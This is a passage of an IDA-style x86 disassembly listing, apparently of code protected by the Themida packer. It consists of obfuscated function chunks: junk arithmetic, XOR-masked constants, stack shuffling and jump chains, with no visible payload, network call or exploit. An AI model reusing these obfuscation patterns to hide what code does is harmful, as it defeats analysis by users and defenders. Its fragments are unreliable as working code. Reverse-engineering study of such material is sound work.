; END OF FUNCTION CHUNK FOR sub_56E1B8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574287
loc_565FD0: ; CODE XREF: sub_574287-20D1j
xor edi, 30B4489Bh
push eax
mov eax, edi
mov esi, eax
pop eax
push [esp+8+var_8]
pop edi
add esp, 4
add ebp, 209F124Eh
add ebp, esi
push 24FCh
mov [esp+8+var_8], edx
mov edx, 209F124Eh
sub ebp, edx
jmp loc_569AFE
; END OF FUNCTION CHUNK FOR sub_574287
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B06D
loc_566002: ; CODE XREF: sub_56B06D-48B6j
add ecx, ebx
pop ebx
push eax
push esi
mov esi, 16D738E1h
xor esi, 16D738E5h
mov eax, esi
jmp loc_56B006
; END OF FUNCTION CHUNK FOR sub_56B06D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567C58
loc_566019: ; CODE XREF: sub_567C58+4012j
xor eax, [esp+8+var_8]
mov esp, [esp+8+var_8]
shr byte ptr [esp-4+arg_0], cl
pushf
jmp loc_56AC89
; END OF FUNCTION CHUNK FOR sub_567C58
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567CF5
loc_566028: ; CODE XREF: sub_567CF5+317j
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp+4+var_4]
jmp loc_56CD22
; END OF FUNCTION CHUNK FOR sub_567CF5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5606E3
loc_56603F: ; CODE XREF: sub_5606E3-1B2j
mov eax, ebp
jmp loc_56945B
; END OF FUNCTION CHUNK FOR sub_5606E3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574656
loc_566046: ; CODE XREF: sub_574656-76B4j
mov ebp, esi
pop esi
push edi
mov edi, 4C0C7128h
xor ebp, edi
pop edi
sub ebx, ebp
jmp loc_569731
; END OF FUNCTION CHUNK FOR sub_574656
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AB5E
loc_566059: ; CODE XREF: sub_56AB5E+7663j
pop [esp+10h+var_10]
mov esp, [esp+0Ch+var_C]
jmp loc_5618C2
; END OF FUNCTION CHUNK FOR sub_56AB5E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5683C0
loc_566064: ; CODE XREF: sub_5683C0-57D5j
pop esi
sub edx, 66C66354h
sub edx, 12302F5Ah
sub edx, ebx
jmp loc_566451
; END OF FUNCTION CHUNK FOR sub_5683C0
; =============== S U B R O U T I N E =======================================
sub_566078 proc near ; CODE XREF: sub_572669-10B19j
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 005653F6 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005655F1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005662E9 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00566E65 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00567310 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056880E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00568AF0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00568F21 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00573801 SIZE 0000000C BYTES
push ebp
mov ebp, 5F4A4615h
sub edx, ebp
pop ebp
sub edx, edi
add edx, 5F4A4615h
pop edi
add edx, ecx
add edx, 58D47706h
pop ecx
sub esp, 4
mov [esp-4+arg_0], edi
mov edi, 1
add edx, edi
mov edi, [esp-4+arg_0]
sub esp, 4
mov [esp+0], eax
push esp
pop eax
add eax, 4
add eax, 4
xchg eax, [esp+0]
jmp loc_566E65
sub_566078 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566117
loc_5660C1: ; CODE XREF: sub_566117+3009j
xor ecx, 24615900h
not ecx
push ecx
not [esp+14h+var_14]
pop ecx
add ecx, 94B5EA37h
jmp loc_566D6C
; END OF FUNCTION CHUNK FOR sub_566117
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AB5E
loc_5660D9: ; CODE XREF: sub_56AB5E-72EEj
add bh, 54h
jmp loc_56AB85
; END OF FUNCTION CHUNK FOR sub_56AB5E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_573B49
loc_5660E1: ; CODE XREF: sub_573B49+6j
shl ebx, 1
xor ebx, 0B956862h
add ebx, 238F4CDCh
inc ebx
push edi
mov edi, 9C6D6481h
xor ebx, edi
mov edi, [esp+8+var_8]
add esp, 4
sub eax, 7A4F3D81h
add eax, ebx
add eax, 7A4F3D81h
pop ebx
add eax, ebx
sub eax, 291255EEh
jmp loc_56B984
; END OF FUNCTION CHUNK FOR sub_573B49
; =============== S U B R O U T I N E =======================================
sub_566117 proc near ; DATA XREF: Themida_:0055FD20o
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 005613B0 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005614B6 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00563667 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005660C1 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00566A74 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00566D6C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056745A SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00568146 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00569112 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00569BC4 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056CD05 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056D9C3 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056DD34 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0056DD94 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056EE8F SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00572650 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005729A1 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00572E55 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00573EAD SIZE 00000009 BYTES
push dword ptr [esp+0]
push [esp+4+var_4]
push [esp+8+var_8]
jmp loc_56DD94
sub_566117 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5673C3
loc_566125: ; CODE XREF: sub_5673C3+9F32j
push ecx
mov ecx, 0
add ecx, 0D6724F1h
sub ecx, ebx
push ebx
mov ebx, 0D6724F1h
jmp loc_5724C3
; END OF FUNCTION CHUNK FOR sub_5673C3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E0B0
loc_56613E: ; CODE XREF: sub_56E0B0+16j
mov eax, esp
push esi
mov esi, 788D7C22h
sub esi, 788D7C1Eh
jmp loc_5605B4
; END OF FUNCTION CHUNK FOR sub_56E0B0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5620B7
loc_566151: ; CODE XREF: sub_5620B7+9CC4j
inc dh
shr dh, 4
shr dh, 4
xor dh, 0F2h
or ah, dh
pop edx
add ah, 0B5h
add ah, 55h
mov dl, ah
pop eax
jmp loc_570955
; END OF FUNCTION CHUNK FOR sub_5620B7
; =============== S U B R O U T I N E =======================================
sub_56616D proc near ; CODE XREF: sub_565A8D+7024j
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
; FUNCTION CHUNK AT 00561298 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00561E3D SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00562212 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 005627B8 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00562B49 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00563030 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056361A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056394B SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00564C1F SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00565787 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005659B8 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00566627 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 00567A8B SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0056906B SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005693C4 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00569587 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00569BCA SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00569D82 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0056A0D6 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0056A223 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056AA15 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056AC4B SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056ADA2 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0056AEFF SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0056AF32 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056B048 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0056B7BA SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056BB98 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056C5F8 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056D202 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056D2BF SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056E2A6 SIZE 0000003A BYTES
; FUNCTION CHUNK AT 0056E30A SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056E7AA SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0056E87B SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056EADA SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0056F823 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056F9B5 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00570135 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00570869 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00570B9F SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00571003 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005712C3 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00572044 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00572152 SIZE 0000003A BYTES
; FUNCTION CHUNK AT 00572426 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0057347C SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00573607 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00573B2F SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00573CAF SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00573D0E SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00574315 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0057455E SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0057474B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0057485E SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005748A1 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00574AFF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0057504A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0057524C SIZE 00000015 BYTES
push ebx
mov ebx, offset loc_426680
neg ebx
xor ebx, 48693036h
jmp loc_56AF32
sub_56616D endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56DA43
loc_566180: ; CODE XREF: sub_56DA43-89E5j
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp+4+var_4]
jmp loc_5688E7
; END OF FUNCTION CHUNK FOR sub_56DA43
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FA15
loc_566196: ; CODE XREF: sub_56FA15-F69Bj
sub cl, dh
pop edx
jmp loc_5725E9
; END OF FUNCTION CHUNK FOR sub_56FA15
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560CF1
loc_56619E: ; CODE XREF: sub_560CF1+50DBj
mov edi, [esp+4+var_4]
add esp, 4
push edi
push ecx
jmp loc_57478C
; END OF FUNCTION CHUNK FOR sub_560CF1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568764
loc_5661AE: ; CODE XREF: sub_568764-5j
mov esp, [esp+0Ch+var_C]
push esi
push edx
push 78280F07h
pop edx
shr edx, 7
add edx, 13A64CF8h
add edx, 0EB6962EEh
mov esi, edx
pop edx
sub ecx, 1D8606A8h
add ecx, esi
push 3A08h
mov [esp+8+var_8], edx
mov edx, 6A6A0475h
dec edx
jmp loc_5739F1
; END OF FUNCTION CHUNK FOR sub_568764
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B06D
loc_5661E6: ; CODE XREF: sub_56B06D+A12Bj
add ecx, 4
add ecx, 4
xchg ecx, [esp+18h+var_18]
pop esp
push ecx
mov ecx, esp
push ebx
push ebp
mov ebp, 486432AAh
jmp loc_56F39E
; END OF FUNCTION CHUNK FOR sub_56B06D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56241E
loc_566202: ; CODE XREF: sub_56241E+11848j
add ax, 1
dec ax
push 1464h
mov [esp+0Ch+var_C], esi
mov si, 60E3h
not si
neg si
xor si, 731Ch
or ax, si
pop esi
add ax, 1
jmp loc_573A41
; END OF FUNCTION CHUNK FOR sub_56241E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561418
loc_56622C: ; CODE XREF: sub_561418+422Ej
push edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp+1Ch+var_1C]
pop esp
jmp loc_561E6C
; END OF FUNCTION CHUNK FOR sub_561418
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566400
loc_566244: ; CODE XREF: sub_566400+378Ej
mov ebp, [esp+4+var_4]
jmp loc_566A65
; END OF FUNCTION CHUNK FOR sub_566400
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5747AF
loc_56624C: ; CODE XREF: sub_5747AF-3DA7j
push edx
mov edx, 4
add esi, edx
pop edx
push eax
jmp sub_5606E3
; END OF FUNCTION CHUNK FOR sub_5747AF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571F6F
loc_56625B: ; CODE XREF: sub_571F6F-10C6j
xor ch, 77h
or dh, ch
mov ecx, [esp]
push esi
mov esi, esp
jmp loc_56DC53
; END OF FUNCTION CHUNK FOR sub_571F6F
; =============== S U B R O U T I N E =======================================
sub_56626B proc near ; CODE XREF: sub_564746+B363j
; FUNCTION CHUNK AT 00564A3F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056E554 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056FE37 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0057243D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00573561 SIZE 00000008 BYTES
push ebx
jmp loc_564A3F
sub_56626B endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_573876
loc_566271: ; CODE XREF: sub_573876-F235j
add [edi+40h], ecx
pop ecx
push dword ptr [esp+0]
pop eax
push 70A0h
mov [esp+4+var_4], ecx
push esp
push [esp+8+var_8]
pop ecx
jmp loc_570938
; END OF FUNCTION CHUNK FOR sub_573876
; =============== S U B R O U T I N E =======================================
sub_56628B proc near ; DATA XREF: Themida_:0055FD1Co
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0056005C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056133D SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005619FF SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00562816 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00562B97 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005637D3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00564761 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00566372 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005676D9 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00567D66 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00567D8C SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00567F5F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005685D8 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00569742 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056A8F8 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056C06F SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056C1FD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056CB76 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0056D46F SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056E341 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056FD0F SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005702CE SIZE 00000026 BYTES
; FUNCTION CHUNK AT 00571221 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0057173D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0057225D SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00573C9D SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005742DF SIZE 0000000E BYTES
lodsd
push ebx
mov ebx, 71E678A5h
add eax, ebx
mov ebx, [esp+4+var_4]
jmp loc_57173D
sub_56628B endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CD13
loc_56629C: ; CODE XREF: sub_56CD13-1902j
mov eax, esp
push ecx
push esi
mov esi, 2F5F1069h
or esi, 561B61E7h
sub esi, 705936AEh
xor esi, 0A393DB3h
mov ecx, esi
pop esi
shr ecx, 4
xor ecx, 2D6A1C04h
push ebp
mov ebp, 13C23276h
shl ebp, 8
or ebp, 0D917498h
push edi
mov edi, 1A2E3950h
sub ebp, edi
pop edi
push ecx
jmp loc_56BF1A
; END OF FUNCTION CHUNK FOR sub_56CD13
; ---------------------------------------------------------------------------
loc_5662E1: ; CODE XREF: Themida_:005638BAj
push cx
pushf
jmp loc_55FF9F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566078
loc_5662E9: ; CODE XREF: sub_566078-C81j
xor eax, edx
jmp loc_5655F1
; END OF FUNCTION CHUNK FOR sub_566078
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FA15
loc_5662F0: ; CODE XREF: sub_56FA15-BD86j
mov ch, 92h
sub al, 0E3h
jmp loc_57287D
; END OF FUNCTION CHUNK FOR sub_56FA15
; =============== S U B R O U T I N E =======================================
sub_5662F9 proc near ; DATA XREF: Themida_:0055FF2Co
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = word ptr 4
; FUNCTION CHUNK AT 00569BA6 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056A8E5 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056BB6B SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0056C12D SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056E645 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0056EECE SIZE 00000019 BYTES
mov ax, [esp+0]
sub esp, 4
mov [esp+4+var_4], ecx
mov ecx, esp
push edi
push ebp
push 3FA838A7h
pop ebp
not ebp
and ebp, 497E29D6h
shl ebp, 6
sub esp, 4
mov [esp+10h+var_10], edi
mov edi, 621B1CDCh
not edi
add edi, 4C9AC8E1h
add ebp, edi
pop edi
push ebp
pop edi
pop ebp
add ecx, 23EA67DAh
add ecx, edi
sub ecx, 23EA67DAh
pop edi
push ebp
mov ebp, 2
jmp loc_56EECE
sub_5662F9 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56A608
loc_566351: ; CODE XREF: sub_56A608+7452j
mov eax, 3872CA7h
jmp loc_56DEA2
; END OF FUNCTION CHUNK FOR sub_56A608
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561418
loc_56635B: ; CODE XREF: sub_561418+27F4j
push edx
mov edx, 4
add ebp, edx
pop edx
push ebx
push esi
mov esi, 4
mov ebx, esi
jmp loc_5739D5
; END OF FUNCTION CHUNK FOR sub_561418
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56628B
loc_566372: ; CODE XREF: sub_56628B+68FCj
pop eax
push edx
mov edx, 0C767C785h
jmp loc_56C1FD
; END OF FUNCTION CHUNK FOR sub_56628B
; =============== S U B R O U T I N E =======================================
sub_56637E proc near ; CODE XREF: sub_5681F5+D10Cj
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0056737B SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005694D2 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0056A3CC SIZE 00000016 BYTES
sub esp, 4
mov [esp+4+var_4], edi
jmp loc_56A3CC
sub_56637E endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_56638C proc near ; DATA XREF: Themida_:0055FEC4o
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00560D7F SIZE 0000002F BYTES
; FUNCTION CHUNK AT 0056150A SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056169E SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00562428 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056258B SIZE 00000036 BYTES
; FUNCTION CHUNK AT 0056266F SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00564CAF SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00568111 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00569366 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00569EC5 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056A03E SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056ED81 SIZE 0000004F BYTES
; FUNCTION CHUNK AT 00570AD3 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005710F7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005729CA SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00574249 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005749DE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00574FE4 SIZE 0000002F BYTES
mov cx, [esp+0]
push 3FD3h
jmp loc_56150A
sub_56638C endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AB5E
loc_56639A: ; CODE XREF: sub_56AB5E-2AA8j
mov ch, dh
mov bh, ch
pop ecx
mov edx, [esp+8+var_8]
jmp loc_5672AC
; END OF FUNCTION CHUNK FOR sub_56AB5E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56671D
loc_5663A7: ; CODE XREF: sub_56671D+E124j
neg al
add al, 26h
sub al, 1Eh
xor cl, al
pop eax
sub esp, 4
mov [esp+8+var_8], ecx
inc byte ptr [esp+8+var_8]
mov ecx, [esp+8+var_8]
add esp, 4
push ebx
push eax
mov al, 78h
or al, 4Bh
jmp sub_561C21
; END OF FUNCTION CHUNK FOR sub_56671D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FB8A
loc_5663CD: ; CODE XREF: sub_56FB8A-542Cj
mov ebx, 4
push ecx
mov ecx, 33A76898h
sub eax, ecx
pop ecx
sub eax, 397C76B9h
add eax, ebx
add eax, 397C76B9h
push ebx
mov ebx, 5E5E4E6Dh
add ebx, 4A191DA2h
jmp loc_56A186
; END OF FUNCTION CHUNK FOR sub_56FB8A
; ---------------------------------------------------------------------------
loc_5663F8: ; CODE XREF: Themida_:00562A95j
mov edi, eax
pop eax
jmp loc_564301
; =============== S U B R O U T I N E =======================================
sub_566400 proc near ; DATA XREF: Themida_:0055FEB8o
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 005610FE SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005627EA SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00562E98 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005641C5 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00564ECC SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00566244 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00566A65 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00568448 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005699F9 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00569B7B SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00569F18 SIZE 0000003A BYTES
; FUNCTION CHUNK AT 0056A152 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0056C5D5 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056D155 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056F24B SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056FF20 SIZE 0000000B BYTES
lodsd
jmp loc_5699F9
sub_566400 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_575420
loc_566406: ; CODE XREF: sub_575420-B6CEj
dec cl
jmp sub_56EB4A
; END OF FUNCTION CHUNK FOR sub_575420
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5620B7
loc_56640D: ; CODE XREF: sub_5620B7+117F0j
xor al, bl
pop ebx
push ebp
mov ebp, esp
push esi
mov esi, 4DF616B4h
sub esi, 7AB307DBh
xchg edx, esi
sub edx, 0FFFFFFFFh
xchg edx, esi
shr esi, 2
jmp loc_573C20
; END OF FUNCTION CHUNK FOR sub_5620B7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_566431: ; CODE XREF: sub_564D26-173Aj
add edx, 29762EA0h
mov ebp, [esp+18h+var_18]
push edi
mov edi, esp
add edi, 4
add edi, 4
xor edi, [esp+1Ch+var_1C]
jmp loc_563E76
; END OF FUNCTION CHUNK FOR sub_564D26
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5683C0
loc_566451: ; CODE XREF: sub_5683C0-234Dj
add edx, 12302F5Ah
add edx, 66C66354h
jmp loc_56AAD8
; END OF FUNCTION CHUNK FOR sub_5683C0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AB5E
loc_566462: ; CODE XREF: sub_56AB5E+8094j
xor [esp+10h+var_10], ebp
xor ebp, [esp+10h+var_10]
jmp loc_560684
; END OF FUNCTION CHUNK FOR sub_56AB5E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569193
loc_56646D: ; CODE XREF: sub_569193+B029j
push [esp+4+var_4]
push [esp+8+var_8]
mov ecx, [esp+0Ch+var_C]
add esp, 4
push edx
push esp
pop edx
jmp loc_564582
; END OF FUNCTION CHUNK FOR sub_569193
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561418
loc_566484: ; CODE XREF: sub_561418+C72j
push ecx
mov ecx, 3DE54D8Dh
add ecx, 0C21AB277h
mov edi, ecx
mov ecx, [esp+14h+var_14]
add esp, 4
add [esp+10h+var_C], edi
pop edi
pop ecx
add ecx, 4
sub esp, 4
mov [esp+0Ch+var_C], edx
sub esp, 4
mov [esp+10h+var_10], ebp
push edi
mov edi, 48DE0CB3h
jmp loc_568630
; END OF FUNCTION CHUNK FOR sub_561418
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FB8A
loc_5664C1: ; CODE XREF: sub_56FB8A-F076j
pop ebx
jmp loc_5745C1
; END OF FUNCTION CHUNK FOR sub_56FB8A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5673C3
loc_5664C7: ; CODE XREF: sub_5673C3+92Dj
mov [esp+0], edi
mov edi, 2147025Bh
sub edi, 21470257h
add ebp, edi
mov edi, [esp+0]
add esp, 4
xor ebp, [esp-4+arg_0]
jmp loc_56AED6
; END OF FUNCTION CHUNK FOR sub_5673C3
; ---------------------------------------------------------------------------
loc_5664E5: ; CODE XREF: Themida_:005753FFj
sub esp, 4
jmp loc_5671BC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5690E8
loc_5664ED: ; CODE XREF: sub_5690E8-326Aj
neg ebx
jmp loc_56EB70
; END OF FUNCTION CHUNK FOR sub_5690E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C7AA
loc_5664F4: ; CODE XREF: sub_56C7AA+2j
mov esi, 4FE1DC7h
or esi, 63127D6Fh
shr esi, 1
jmp loc_562D60
; END OF FUNCTION CHUNK FOR sub_56C7AA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574F16
loc_566506: ; CODE XREF: sub_574F16-7A18j
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
pop edx
mov bl, cl
jmp loc_561B1A
; END OF FUNCTION CHUNK FOR sub_574F16
; =============== S U B R O U T I N E =======================================
sub_56651E proc near ; CODE XREF: sub_5747D7-13586j
var_8 = dword ptr -8
